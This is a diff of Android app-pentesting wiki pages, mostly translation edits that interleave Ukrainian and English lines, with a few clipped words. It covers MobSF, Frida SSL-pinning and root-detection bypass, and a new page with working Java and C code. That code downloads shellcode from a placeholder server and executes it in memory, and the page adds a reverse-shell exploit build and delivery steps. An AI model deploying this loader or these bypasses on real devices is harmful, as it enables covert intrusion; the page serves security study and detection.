- **SQL Injection:** При роботі з dynamic queries або Content-Providers переконайтеся, що ви використовуєте parameterized queries.
- **JavaScript Injection (XSS):** Переконайтеся, що JavaScript та Plugin support вимкнені для будь-яких WebViews (вимкнено за замовчуванням). [More info here](webview-attacks.md#javascript-enabled).
- **Local File Inclusion:** WebViews повинні мати доступ до файлової системи вимкненим (увімкнено за замовчуванням) - `(webview.getSettings().setAllowFileAccess(false);)`. [More info here](webview-attacks.md#javascript-enabled).
- **Eternal cookies**: У кількох випадках, коли Android-додаток завершує сесію, cookie не відкликається або навіть може зберігатися на диску.
- **SQL Injection:** При роботі з динамічними запитами або Content-Providers переконайтеся, що використовуєте parameterized queries.
- **JavaScript Injection (XSS):** Переконайтеся, що підтримка JavaScript і Plugin вимкнена для WebViews (disabled by default). [More info here](webview-attacks.md#javascript-enabled).
- **Local File Inclusion:** WebViews мають мати доступ до файлової системи вимкненим (enabled by default) - `(webview.getSettings().setAllowFileAccess(false);)`. [More info here](webview-attacks.md#javascript-enabled).
- **Eternal cookies**: У деяких випадках, коли android application завершує сесію, cookie не відкликається або навіть може бути збережено на диск
- [**Secure Flag** in cookies](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags)
---
@ -615,41 +620,41 @@ Also, if you create a **ZIP** file with the source code if an **Android** or an
MobSF also allows you to **diff/Compare** analysis and to integrate **VirusTotal** (you will need to set your API key in _MobSF/settings.py_ and enable it: `VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`). You can also set `VT_UPLOAD` to `False`, then the **hash** will be **upload** instead of the file.
### Assisted Dynamic analysis with MobSF
### Асистований динамічний аналіз з MobSF
**MobSF** can also be very helpful for **dynamic analysis** in **Android**, but in that case you will need to install MobSF and **genymotion** in your host (a VM or Docker won't work). _Note: You need to **start first a VM in genymotion** and **then MobSF.**_\
The **MobSF dynamic analyser** can:
**MobSF** також може бути дуже корисним для **dynamic analysis** на **Android**, але в цьому випадку потрібно встановити MobSF та **genymotion** на вашому хості (VM або Docker не підходять). римітка: потрібно **спочатку запустити VM у genymotion** і **потім MobSF.**_\
**MobSF dynamic analyser** може:
- **Dump application data** (URLs, logs, clipboard, screenshots made by you, screenshots made by "**Exported Activity Tester**", emails, SQLite databases, XML files, and other created files). All of this is done automatically except for the screenshots, you need to press when you want a screenshot or you need to press "**Exported Activity Tester**" to obtain screenshots of all the exported activities.
- Capture **HTTPS traffic**
- Use **Frida** to obtain **runtime** **information**
- **Dump application data** (URLs, логи, clipboard, скриншоти, зроблені вами, скриншоти, зроблені "**Exported Activity Tester**", електронні листи, SQLite databases, XML файли, та інші створені файли). Усе це виконується автоматично, крім скриншотів — потрібно натиснути, коли ви хочете зробити скриншот, або натиснути "**Exported Activity Tester**", щоб отримати скриншоти всіх exported activities.
- Перехоплювати **HTTPS traffic**
- Використовувати **Frida** для отримання **runtime** **information**
From android **versions > 5**, it will **automatically start Frida** and will set global **proxy** settings to **capture** traffic. It will only capture traffic from the tested application.
Для android **versions > 5** воно **автоматично запустить Frida** та встановить глобальні налаштування **proxy** для **capture** трафіку. Воно перехоплює трафік лише з тестованого додатка.
**Frida**
By default, it will also use some Frida Scripts to **bypass SSL pinning**, **root detection** and **debugger detection** and to **monitor interesting APIs**.\
MobSF can also **invoke exported activities**, grab **screenshots** of them and **save** them for the report.
За замовчуванням також використовуються деякі Frida Scripts для **bypass SSL pinning**, **root detection** та **debugger detection** і для **monitor interesting APIs**.\
MobSF також може **invoke exported activities**, робити **screenshots** цих активностей та **save** їх для звіту.
To **start** the dynamic testing press the green bottom: "**Start Instrumentation**". Press the "**Frida Live Logs**" to see the logs generated by the Frida scripts and "**Live API Monitor**" to see all the invocation to hooked methods, arguments passed and returned values (this will appear after pressing "Start Instrumentation").\
MobSF also allows you to load your own **Frida scripts** (to send the results of your Frida scripts to MobSF use the function `send()`). It also has **several pre-written scripts** you can load (you can add more in `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), just **select them**, press "**Load**" and press "**Start Instrumentation**" (you will be able to see the logs of that scripts inside "**Frida Live Logs**").
Щоб **start** динамічне тестування натисніть зелену кнопку: "**Start Instrumentation**". Натисніть "**Frida Live Logs**", щоб побачити логи, згенеровані Frida scripts, та "**Live API Monitor**", щоб побачити всі виклики до hooked methods, передані аргументи та повернені значення (це з’явиться після натискання "Start Instrumentation").\
MobSF також дозволяє завантажувати власні **Frida scripts** (щоб відправити результати ваших Frida scripts до MobSF використовуйте функцію `send()`). Воно також має **several pre-written scripts**, які ви можете завантажити (ви можете додати більше в `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), просто **select them**, натисніть "**Load**" і натисніть "**Start Instrumentation**" (ви зможете побачити логи цих скриптів всередині "**Frida Live Logs**").
![](<../../images/image (419).png>)
Moreover, you have some Auxiliary Frida functionalities:
Крім того, є кілька додаткових функцій Frida:
- **Enumerate Loaded Classes**: It will print all the loaded classes
- **Capture Strings**: It will print all the capture strings while using the application (super noisy)
- **Capture String Comparisons**: Could be very useful. It will **show the 2 strings being compared** and if the result was True or False.
- **Enumerate Class Methods**: Put the class name (like "java.io.File") and it will print all the methods of the class.
- **Search Class Pattern**: Search classes by pattern
- **Trace Class Methods**: **Trace** a **whole class** (see inputs and outputs of all methods of the class). Remember that by default MobSF traces several interesting Android Api methods.
- **Enumerate Loaded Classes**: Виводить всі завантажені класи
- **Capture Strings**: Виводить усі захоплені рядки під час використання додатка (дуже шумно)
- **Capture String Comparisons**: Може бути дуже корисним. Він **показує 2 рядки, що порівнюються**, і чи був результат True або False.
- **Enumerate Class Methods**: Введіть ім'я класу (наприклад "java.io.File") і він виведе всі методи класу.
- **Search Class Pattern**: Пошук класів за шаблоном
- **Trace Class Methods**: **Trace** всього класу (див. вхідні та вихідні дані всіх методів класу). Пам'ятайте, що за замовчуванням MobSF трасує кілька цікавих Android Api methods.
Once you have selected the auxiliary module you want to use you need to press "**Start Instrumentation**" and you will see all the outputs in "**Frida Live Logs**".
Після того як ви обрали допоміжний модуль, який хочете використати, потрібно натиснути "**Start Intrumentation**" і ви побачите всі виходи в "**Frida Live Logs**".
**Shell**
Mobsf also brings you a shell with some **adb** commands, **MobSF commands**, and common **shell** **commands** at the bottom of the dynamic analysis page. Some interesting commands:
MobSF також надає shell з деякими **adb** командами, **MobSF commands**, та поширеними **shell** **commands** внизу сторінки динамічного аналізу. Декілька цікавих команд:
```bash
help
shell ls
@ -658,34 +663,34 @@ exported_activities
services
receivers
```
**HTTP tools**
**HTTP інструменти**
When http traffic is capture you can see an ugly view of the captured traffic on "**HTTP(S) Traffic**" bottom or a nicer view in "**Start HTTPTools**" green bottom. From the second option, you can **send** the **captured requests** to **proxies** like Burp or Owasp ZAP.\
To do so, _power on Burp -->_ _turn off Intercept --> in MobSB HTTPTools select the request_ --> press "**Send to Fuzzer**" --> _select the proxy address_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
Коли HTTP трафік захоплено, ви можете побачити сирий вигляд захопленого трафіку у нижній частині "**HTTP(S) Traffic**" або більш приємний вигляд у зеленій кнопці "**Start HTTPTools**". З другого варіанту ви можете **відправити** **захоплені запити** до **проксі** (proxies) типу Burp або Owasp ZAP.\
Щоб це зробити, апустіть Burp -->_ _вимкніть Intercept --> в MobSF HTTPTools виберіть запит_ --> натисніть "**Send to Fuzzer**" --> _виберіть адресу проксі_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
Once you finish the dynamic analysis with MobSF you can press on "**Start Web API Fuzzer**" to **fuzz http requests** an look for vulnerabilities.
Коли ви завершите dynamic analysis з MobSF, можна натиснути "**Start Web API Fuzzer**" щоб **fuzz http requests** і шукати вразливості.
> [!TIP]
> After performing a dynamic analysis with MobSF the proxy settings me be misconfigured and you won't be able to fix them from the GUI. You can fix the proxy settings by doing:
> Після виконання dynamic analysis з MobSF налаштування проксі можуть бути некоректними і ви не зможете виправити їх через GUI. Ви можете виправити налаштування проксі виконавши:
>
> ```
> adb shell settings put global http_proxy :0
> ```
### Асистований динамічний аналіз з Inspeckage
### Assisted Dynamic Analysis with Inspeckage
You can get the tool from [**Inspeckage**](https://github.com/ac-pm/Inspeckage).\
Цей інструмент використовує деякі **Hooks**, щоб повідомляти, **що відбувається в додатку**, поки ви виконуєте **динамічний аналіз**.
Інструмент можна отримати з [**Inspeckage**](https://github.com/ac-pm/Inspeckage).\
Цей tool використовує деякі **Hooks**, щоб повідомляти, **що відбувається в додатку**, поки ви виконуєте **dynamic analysis**.
### [Yaazhini](https://www.vegabird.com/yaazhini/)
This is a **great tool to perform static analysis with a GUI**
Це **чудовий інструмент для виконання static analysis з GUI**
![](<../../images/image (741).png>)
### [Qark](https://github.com/linkedin/qark)
This tool is designed to look for several **security related Android application vulnerabilities**, either in **source code** or **packaged APKs**. The tool is also **capable of creating a "Proof-of-Concept" deployable APK** and **ADB commands**, to exploit some of the found vulnerabilities (Exposed activities, intents, tapjacking...). As with Drozer, there is no need to root the test device.
Цей tool призначений для пошуку кількох **security related Android application vulnerabilities**, як у **source code**, так і в **packaged APKs**. Інструмент також **здатний створити "Proof-of-Concept" deployable APK** та **ADB commands**, щоб експлуатувати деякі виявлені вразливості (Exposed activities, intents, tapjacking...). Як і з Drozer, немає потреби рутувати тестовий пристрій.
```bash
pip3 install --user qark # --user is only needed if not using a virtualenv
qark --apk path/to/my.apk
@ -694,9 +699,9 @@ qark --java path/to/specific/java/file.java
```
### [**ReverseAPK**](https://github.com/1N3/ReverseAPK.git)
- Відображає всі вилучені файли для зручного перегляду
- Автоматично декомпілює APK файли в форматах Java та Smali
- Аналізує AndroidManifest.xml на наявність поширених вразливостей та поведінки
- Відображає всі витягнуті файли для зручного перегляду
- Автоматично декомпілює APK у формати Java і Smali
- Аналізує AndroidManifest.xml на предмет поширених вразливостей та поведінки
- Статичний аналіз вихідного коду на поширені вразливості та поведінку
- Інформація про пристрій
- та інше
@ -705,11 +710,11 @@ reverse-apk relative/path/to/APP.apk
```
### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super)
SUPER — консольна програма, яку можна запускати у Windows, MacOS X та Linux, яка аналізує _.apk_ файли в пошуку вразливостей. Вона робить це, розпаковуючи APKs та застосовуючи серію правил для виявлення цих вразливостей.
SUPER — це програма командного рядка, яку можна використовувати в Windows, MacOS X і Linux, вона аналізує _.apk_ файли в пошуках уразливостей. Вона робить це шляхом розпакування APKs і застосування ряду правил для виявлення цих уразливостей.
Усі правила зібрані у файлі `rules.json`, і кожна компанія або тестувальник може створити власні правила для аналізу того, що їм потрібно.
Всі правила зосереджені у файлі `rules.json`, і кожна компанія або тестувальник може створити власні правила для аналізу того, що їм потрібно.
Завантажте останні бінарні файли зі сторінки [download page](https://superanalyzer.rocks/download.html)
Завантажте останні бінарні файли на [download page](https://superanalyzer.rocks/download.html)
```
super-analyzer {apk_file}
```
@ -717,17 +722,17 @@ super-analyzer {apk_file}
![](<../../images/image (297).png>)
StaCoAn — це **кросплатформний** інструмент, який допомагає розробникам, bugbounty hunters та ethical hackers виконувати [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis) на мобільних застосунках.
StaCoAn — це **кросплатформений** інструмент, який допомагає розробникам, bugbounty hunters і ethical hackers виконувати [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis) на мобільних додатках.
Концепція полягає в тому, що ви перетягуєте файл вашого мобільного застосунку (.apk або .ipa) у застосунок StaCoAn, і він згенерує для вас візуальний та портативний звіт. Ви можете налаштувати параметри та wordlists, щоб отримати індивідуальний досвід.
Ідея полягає в тому, що ви перетягуєте файл вашого мобільного додатка (an .apk or .ipa file) у додаток StaCoAn, і він згенерує для вас візуальний та портативний звіт. Ви можете коригувати налаштування та wordlists для отримання персоналізованого результату.
Download[ latest release](https://github.com/vincentcox/StaCoAn/releases):
Завантажити[ latest release](https://github.com/vincentcox/StaCoAn/releases):
```
./stacoan
```
### [AndroBugs](https://github.com/AndroBugs/AndroBugs_Framework)
AndroBugs Framework — це система аналізу вразливостей для Android, яка допомагає розробникам або hackers знаходити потенційні вразливості безпеки в Android-застосунках.\
AndroBugs Framework — це система аналізу вразливостей Android, яка допомагає розробникам або hackers виявляти потенційні вразливості безпеки в Android-додатках.\
[Windows releases](https://github.com/AndroBugs/AndroBugs_Framework/releases)
```
python androbugs.py -f [APK file]
@ -735,7 +740,7 @@ androbugs.exe -f [APK file]
```
### [Androwarn](https://github.com/maaaaz/androwarn)
**Androwarn** — інструмент, основна мета якого — виявляти та попереджати користувача про потенційно шкідливу поведінку Android-застосунку.
**Androwarn** — інструмент, головною метою якого є виявлення та попередження користувача про потенційно шкідливу поведінку, реалізовану Android-застосунком.
Виявлення виконується за допомогою **static analysis** байткоду Dalvik застосунку, представленого як **Smali**, з використанням бібліотеки [`androguard`](https://github.com/androguard/androguard).
@ -747,36 +752,36 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
![](<../../images/image (595).png>)
**MARA** — це фреймворк для Mobile Application Reverse engineering and Analysis. Це інструмент, який об’єднує поширені інструменти для реверс-інжинірингу та аналізу мобільних додатків, щоб допомогти у тестуванні мобільних додатків на предмет загроз OWASP mobile security. Його мета — зробити це завдання простішим та зручнішим для mobile application developers і security professionals.
**MARA** is a **M**obile **A**pplication **R**everse engineering and **A**nalysis Framework. Це інструмент, який поєднує широко вживані інструменти для reverse engineering та аналізу mobile application, щоб допомогти у тестуванні мобільних додатків проти загроз OWASP mobile security. Його мета — зробити це завдання простішим і зручнішим для розробників мобільних додатків та фахівців з безпеки.
Він може:
- Extract Java and Smali code using different tools
- Analyze APKs using: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD)
- Extract private information from the APK using regexps.
- Analyze the Manifest.
- Analyze found domains using: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) and [whatweb](https://github.com/urbanadventurer/WhatWeb)
- Аналізувати APK за допомогою: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD)
- Витягувати приватну інформацію з APK за допомогою регулярних виразів.
- Аналізувати Manifest.
- Аналізувати знайдені домени за допомогою: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) and [whatweb](https://github.com/urbanadventurer/WhatWeb)
- Deobfuscate APK via [apk-deguard.com](http://www.apk-deguard.com)
### Koodous
Корисно для виявлення malware: [https://koodous.com/](https://koodous.com/)
Корисний для виявлення шкідливого ПЗ: [https://koodous.com/](https://koodous.com/)
## Obfuscating/Deobfuscating code
## Обфускація/Деобфускація коду
Зверніть увагу, що в залежності від сервісу та конфігурації, яку ви використовуєте для обфускації коду, секрети можуть бути або не бути обфусцовані.
Зверніть увагу, що залежно від сервісу та конфігурації, які ви використовуєте для обфускації коду, секрети можуть бути обфусковані або ні.
### [ProGuard](<https://en.wikipedia.org/wiki/ProGuard_(software)>)
From [Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** is an open source command-line tool that shrinks, optimizes and obfuscates Java code. It is able to optimize bytecode as well as detect and remove unused instructions. ProGuard is free software and is distributed under the GNU General Public License, version 2.
From [Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** is an open source command-line tool that shrinks, optimizes and obfuscates Java code. Він здатний оптимізувати bytecode, а також виявляти та видаляти невикористані інструкції. ProGuard є вільним програмним забезпеченням і розповсюджується під GNU General Public License, version 2.
ProGuard розповсюджується як частина Android SDK і запускається при збірці застосунку в release-режимі.
ProGuard постачається як частина Android SDK і запускається при збірці додатку в release-режимі.
### [DexGuard](https://www.guardsquare.com/dexguard)
Find a step-by-step guide to deobfuscate the apk in [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)
(From that guide) Last time we checked, the Dexguard mode of operation was:
(From that guide) Востаннє, коли ми перевіряли, режим роботи Dexguard був:
- load a resource as an InputStream;
- feed the result to a class inheriting from FilterInputStream to decrypt it;
@ -788,7 +793,7 @@ Find a step-by-step guide to deobfuscate the apk in [https://blog.lexfo.fr/dexgu
**DeGuard reverses the process of obfuscation performed by Android obfuscation tools. This enables numerous security analyses, including code inspection and predicting libraries.**
Ви можете завантажити обфусцований APK на їхню платформу.
Ви можете завантажити обфускований APK на їхню платформу.
### [Deobfuscate android App]https://github.com/In3tinct/deobfuscate-android-app
@ -796,21 +801,21 @@ This is a LLM tool to find any potential security vulnerabilities in android app
### [Simplify](https://github.com/CalebFenton/simplify)
It is a **generic android deobfuscator.** Simplify **virtually executes an app** to understand its behavior and then **tries to optimize the code** so it behaves identically but is easier for a human to understand. Each optimization type is simple and generic, so it doesn't matter what the specific type of obfuscation is used.
Це загальний інструмент для деобфускації android. Simplify **віртуально виконує додаток**, щоб зрозуміти його поведінку, а потім **намагається оптимізувати код**, щоб він поводився ідентично, але був легшим для розуміння людиною. Кожен тип оптимізації простий і загальний, тому не має значення, який конкретний тип обфускації використовувався.
### [APKiD](https://github.com/rednaga/APKiD)
APKiD gives you information about **how an APK was made**. It identifies many **compilers**, **packers**, **obfuscators**, and other weird stuff. It's [_PEiD_](https://www.aldeid.com/wiki/PEiD) for Android.
APKiD дає вам інформацію про **how an APK was made**. Він ідентифікує багато **compilers**, **packers**, **obfuscators**, та інших дивних речей. It's [_PEiD_](https://www.aldeid.com/wiki/PEiD) for Android.
### Manual
[Read this tutorial to learn some tricks on **how to reverse custom obfuscation**](manual-deobfuscation.md)
## Labs
## Лабораторії
### [Androl4b](https://github.com/sh4hin/Androl4b)
AndroL4b is an Android security virtual machine based on ubuntu-mate includes the collection of latest framework, tutorials and labs from different security geeks and researchers for reverse engineering and malware analysis.
AndroL4b — це віртуальна машина для безпеки Android на базі ubuntu-mate, яка включає збірку останніх фреймворків, посібників і лабораторій від різних дослідників і ентузіастів безпеки для reverse engineering і аналізу шкідливого ПЗ.
## References
@ -819,15 +824,11 @@ AndroL4b is an Android security virtual machine based on ubuntu-mate includes th
- [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) Android quick course
- [https://manifestsecurity.com/android-application-security/](https://manifestsecurity.com/android-application-security/)
- [https://github.com/Ralireza/Android-Security-Teryaagh](https://github.com/Ralireza/Android-Security-Teryaagh)
- [https://www.youtube.com/watch?v=PMKnPaGWxtg\&feature=youtu.be\&ab_channel=B3nacSec](https://www.youtube.com/watch?v=PMKnPaGWxtg&feature=youtu.be&ab_channel=B3nacSec)
- [https://www.youtube.com/watch?v=PMKnPaGWxtg&feature=youtu.be&ab_channel=B3nacSec](https://www.youtube.com/watch?v=PMKnPaGWxtg&feature=youtu.be&ab_channel=B3nacSec)
- [SSLPinDetect: Advanced SSL Pinning Detection for Android Security Analysis](https://petruknisme.medium.com/sslpindetect-advanced-ssl-pinning-detection-for-android-security-analysis-1390e9eca097)
- [SSLPinDetect GitHub](https://github.com/aancw/SSLPinDetect)
- [smali-sslpin-patterns](https://github.com/aancw/smali-sslpin-patterns)
- [Build a Repeatable Android Bug Bounty Lab: Emulator vs Magisk, Burp, Frida, and Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools)
## Yet to try
- [https://www.vegabird.com/yaazhini/](https://www.vegabird.com/yaazhini/)
- [https://github.com/abhi-r3v0/Adhrit](https://github.com/abhi-r3v0/Adhrit)
- [CoRPhone — Android in-memory JNI execution and packaging pipeline](https://github.com/0xdevil/corphone)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -0,0 +1,121 @@
# Android In-Memory Native Code Execution via JNI (shellcode)
{{#include ../../banners/hacktricks-training.md}}
На цій сторінці задокументовано практичний шаблон виконання native payloads повністю в пам'яті з процесу ненадійного Android-додатку з використанням JNI. Процес уникає створення будь-якого native бінарного файлу на диску: завантажити raw shellcode bytes через HTTP(S), передати їх у JNI-міст, виділити RX-пам'ять і перейти в неї.
Чому це важливо
- Зменшує судово-експертні артефакти (немає ELF на диску)
- Сумісно з “stage-2” native payloads, згенерованими з ELF exploit binary
- Відповідає tradecraft, який використовують сучасні malware та red teams
Загальна схема
1) Отримати shellcode bytes у Java/Kotlin
2) Викликати native method (JNI) з масивом байтів
3) У JNI: виділити RW-пам'ять → скопіювати байти → mprotect до RX → викликати entrypoint
Мінімальний приклад
Java/Kotlin side
```java
public final class NativeExec {
static { System.loadLibrary("nativeexec"); }
public static native int run(byte[] sc);
}
// Download and execute (simplified)
byte[] sc = new java.net.URL("https://your-server/sc").openStream().readAllBytes();
int rc = NativeExec.run(sc);
```
C JNI-сторона (arm64/amd64)
```c
#include <jni.h>
#include <sys/mman.h>
#include <string.h>
#include <unistd.h>
static inline void flush_icache(void *p, size_t len) {
__builtin___clear_cache((char*)p, (char*)p + len);
}
JNIEXPORT jint JNICALL
Java_com_example_NativeExec_run(JNIEnv *env, jclass cls, jbyteArray sc) {
jsize len = (*env)->GetArrayLength(env, sc);
if (len <= 0) return -1;
// RW anonymous buffer
void *buf = mmap(NULL, len, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (buf == MAP_FAILED) return -2;
jboolean isCopy = 0;
jbyte *bytes = (*env)->GetByteArrayElements(env, sc, &isCopy);
if (!bytes) { munmap(buf, len); return -3; }
memcpy(buf, bytes, len);
(*env)->ReleaseByteArrayElements(env, sc, bytes, JNI_ABORT);
// Make RX and execute
if (mprotect(buf, len, PROT_READ | PROT_EXEC) != 0) { munmap(buf, len); return -4; }
flush_icache(buf, len);
int (*entry)(void) = (int (*)(void))buf;
int ret = entry();
// Optional: restore RW and wipe
mprotect(buf, len, PROT_READ | PROT_WRITE);
memset(buf, 0, len);
munmap(buf, len);
return ret;
}
```
Зауваження та застереження
- W^X/execmem: Сучасний Android застосовує W^X; анонімні відображення з PROT_EXEC зазвичай все ще дозволені для процесів додатків з JIT (за умовою політики SELinux). Деякі пристрої/ROMs обмежують це; у таких випадках повертайтеся до JIT-виділених exec-пулів або native bridges.
- Архітектури: Переконайтесь, що архітектура shellcode відповідає пристрою (зазвичай arm64-v8a; x86 — лише на емуляторах).
- Контракт точки входу: Визначте конвенцію для входу shellcode (без аргументів або вказівник на структуру). Зробіть його позиційно-незалежним (PIC).
- Стабільність: Очистіть кеш інструкцій перед переходом; невідповідний кеш може спричинити крах на ARM.
Packaging ELF → positionindependent shellcode
Надійний пайплайн оператора виглядає так:
- Збирайте ваш exploit як статичний ELF за допомогою musl-gcc
- Перетворіть ELF у самозавантажувальний shellcode blob за допомогою pwntools shellcraft.loader_append
Збірка
```bash
musl-gcc -O3 -s -static -fno-pic -o exploit exploit.c \
-DREV_SHELL_IP="\"10.10.14.2\"" -DREV_SHELL_PORT="\"4444\""
```
Перетворення ELF у raw shellcode (приклад amd64)
```python
# exp2sc.py
from pwn import *
context.clear(arch='amd64')
elf = ELF('./exploit')
loader = shellcraft.loader_append(elf.data, arch='amd64')
sc = asm(loader)
open('sc','wb').write(sc)
print(f"ELF size={len(elf.data)}, shellcode size={len(sc)}")
```
Чому loader_append працює: він емісує невеликий loader, який відображає вкладені ELF program segments у пам'яті та передає керування до його entrypoint, даючи один сирий blob, який можна memcpyити та виконати в app.
Delivery
- Розмістіть sc на HTTP(S)-сервері під вашим контролем
- Підмінений/тестовий app завантажує sc і викликає показаний вище JNI bridge
- Слухайте на машині оператора будь-які reverse-підключення, які встановлює kernel/user-mode payload
Validation workflow for kernel payloads
- Використовуйте vmlinux зі символами для швидшого реверсингу/відновлення офсетів
- Прототипуйте примітиви на зручному debug image, якщо він доступний, але завжди ретельно перевіряйте на реальній Android-цілі (kallsyms, KASLR slide, page-table layout, and mitigations differ)
Hardening/Detection (blue team)
- Забороніть anonymous PROT_EXEC у доменах app там, де це можливо (SELinux policy)
- Забезпечте сувору цілісність коду (no dynamic native loading from network) та перевіряйте канали оновлення
- Моніторте підозрілі переходи mmap/mprotect до RX та великі копіювання byte-array перед виконуваними переходами
References
- [CoRPhone challenge repo (Android kernel pwn; JNI memory-only loader pattern)](https://github.com/0xdevil/corphone)
- [build.sh (musl-gcc + pwntools pipeline)](https://raw.githubusercontent.com/0xdevil/corphone/main/exploit/build.sh)
- [exp2sc.py (pwntools shellcraft.loader_append)](https://raw.githubusercontent.com/0xdevil/corphone/main/exploit/exp2sc.py)
- [exploit.c TL;DR (operator/kernel flow, offsets, reverse shell)](https://raw.githubusercontent.com/0xdevil/corphone/main/exploit/exploit.c)
- [INSTRUCTIONS.md (setup notes)](https://github.com/0xdevil/corphone/blob/main/INSTRUCTIONS.md)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,16 +1,16 @@
# Реверсинг нативних бібліотек
# Reversing Native Libraries
{{#include ../../banners/hacktricks-training.md}}
**Для додаткової інформації див.:** [**https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html**](https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html)
Android-застосунки можуть використовувати нативні бібліотеки, зазвичай написані на C або C++, для завдань, де критична продуктивність. Зловмисники також зловживають такими бібліотеками, оскільки ELF shared objects все ще складніше декомпілювати, ніж DEX/OAT байт-код.
Ця сторінка зосереджена на *практичних* робочих процесах і *останніх* покращеннях інструментів (20232025), які спрощують реверс Android `.so` файлів.
Android-додатки можуть використовувати native libraries, зазвичай написані на C або C++, для задач, критичних до продуктивності. Зловмисники також зловживають цими бібліотеками, оскільки ELF shared objects все ще важче декомпілювати, ніж DEX/OAT byte-code.
Ця сторінка зосереджена на *практичних* робочих процесах і *останніх* покращеннях інструментів (20232025), які полегшують reversing Android `.so` файлів.
---
### Швидкий робочий процес триажу для щойно витягнутої `libfoo.so`
### Швидкий робочий процес триажу для щойно витягнутого `libfoo.so`
1. **Витягніть бібліотеку**
```bash
@ -25,26 +25,26 @@ file libfoo.so # arm64 or arm32 / x86
readelf -h libfoo.so # OS ABI, PIE, NX, RELRO, etc.
checksec --file libfoo.so # (peda/pwntools)
```
3. **Перелічіть експортовані символи та прив'язки JNI**
3. **Перелічіть експортовані символи та JNI-прив'язки**
```bash
readelf -s libfoo.so | grep ' Java_' # dynamic-linked JNI
strings libfoo.so | grep -i "RegisterNatives" -n # static-registered JNI
```
4. **Завантажте у декомпілятор** (Ghidra ≥ 11.0, IDA Pro, Binary Ninja, Hopper or Cutter/Rizin) і запустіть автоаналіз.
Новіші версії Ghidra додали декомпілятор для AArch64, який розпізнає PAC/BTI stubs і MTE теги, що значно покращує аналіз бібліотек, зібраних з Android 14 NDK.
5. **Визначте статичний чи динамічний підхід до реверсу:** stripped, обфусцований код часто вимагає *інструментування* (Frida, ptrace/gdbserver, LLDB).
4. **Завантажте в декомпілятор** (Ghidra ≥ 11.0, IDA Pro, Binary Ninja, Hopper or Cutter/Rizin) і запустіть автоаналіз.
Новіші версії Ghidra представили AArch64 decompiler, який розпізнає PAC/BTI stubs і MTE теги, що значно покращує аналіз бібліотек, зібраних з Android 14 NDK.
5. **Визначтеся зі static vs dynamic reversing:** stripped, obfuscated code often needs *instrumentation* (Frida, ptrace/gdbserver, LLDB).
---
### Динамічне інструментування (Frida ≥ 16)
### Dynamic Instrumentation (Frida ≥ 16)
Серія Frida 16 принесла кілька специфічних для Android покращень, які допомагають, коли ціль використовує сучасні оптимізації Clang/LLD:
Fridas 16-series brought several Android-specific improvements that help when the target uses modern Clang/LLD optimisations:
* `thumb-relocator` тепер може *hook tiny ARM/Thumb functions*, згенеровані агресивним вирівнюванням LLD (`--icf=all`).
* Перелічення та rebinding *ELF import slots* працюють на Android, дозволяючи патчити по-модульно через `dlopen()`/`dlsym()`, коли inline hooks відхиляються.
* Java hooking було виправлено для нового **ART quick-entrypoint**, що використовується, коли додатки компілюються з `--enable-optimizations` на Android 14.
* `thumb-relocator` can now *hook tiny ARM/Thumb functions* generated by LLDs aggressive alignment (`--icf=all`).
* Enumerating and rebinding *ELF import slots* works on Android, enabling per-module `dlopen()`/`dlsym()` patching when inline hooks are rejected.
* Java hooking was fixed for the new **ART quick-entrypoint** used when apps are compiled with `--enable-optimizations` on Android 14.
Example: enumerating all functions registered through `RegisterNatives` and dumping their addresses at runtime:
Приклад: перелік усіх функцій, зареєстрованих через `RegisterNatives`, та вивід їхніх адрес під час виконання:
```javascript
Java.perform(function () {
var Runtime = Java.use('java.lang.Runtime');
@ -61,16 +61,16 @@ console.log('[+] RegisterNatives on ' + clazz.getName() + ' -> ' + count + ' met
});
});
```
Frida буде працювати «з коробки» на PAC/BTI-enabled пристроях (Pixel 8/Android 14+) за умови використання frida-server 16.2 або новішої версії — ранні версії не могли знайти padding для inline hooks.
Frida працюватиме без додаткових налаштувань на пристроях з PAC/BTI (Pixel 8/Android 14+), якщо ви використовуєте frida-server 16.2 або новіший — ранні версії не могли знайти padding for inline hooks.
### Process-local JNI telemetry via preloaded .so (SoTap)
### Локальна процесна JNI-телеметрія через попередньо завантажений .so (SoTap)
Коли повнофункціональна instrumentation надмірна або заблокована, ви все ще можете отримати видимість на рівні native, попередньо підключивши невеликий логер всередині цільового процесу. SoTap — легка Android native (.so) бібліотека, яка логує runtime-поведінку інших JNI (.so) бібліотек в тому самому процесі додатку (root не потрібен).
Коли повнофункціональна інструментація надмірна або заблокована, можна отримати видимість на рівні native, попередньо завантаживши невеликий логер всередину цільового процесу. SoTap — легка Android native (.so) бібліотека, яка логує runtime-поведінку інших JNI (.so) бібліотек у тому ж процесі додатка (root не потрібен).
Ключові властивості:
